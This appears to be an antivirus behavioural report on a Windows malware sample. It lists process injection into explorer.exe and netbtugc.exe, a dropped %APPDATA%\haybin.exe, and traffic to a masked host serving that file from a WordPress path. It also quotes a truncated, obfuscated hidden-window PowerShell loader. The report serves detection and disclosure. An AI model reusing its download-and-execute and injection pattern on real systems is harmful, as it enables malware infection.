Technical Information
Malicious functions
Downloads and executes files.
Injects code into
the following system processes:
- %WINDIR%\explorer.exe
- %WINDIR%\syswow64\netbtugc.exe
Modifies file system
Creates the following files
- %APPDATA%\haybin.exe
Network activity
Connects to
- 'mu###egra.it':80
- 'co##############e-chains.prod.autograph.services.mozaws.net':443
TCP
HTTP GET requests
- http://mu###egra.it/wp-admin/js/widgets/haybin.exe
UDP
- DNS ASK mu###egra.it
- DNS ASK co##############e-chains.prod.autograph.services.mozaws.net
Miscellaneous
Creates and executes the following
- '%APPDATA%\haybin.exe'
Executes the following
- '%WINDIR%\syswow64\netbtugc.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy UnRestricted function dqVFfd($SIPBSCCQ, $CKajadcg){[IO.File]::WriteAllBytes($SIPBSCCQ, $CKajadcg)};function FUxvmWFXwa($SIPBSCCQ){if($SIPBSCCQ.EndsWith((DRxRyuHRBMKq @(33850,33...' (with hidden window)
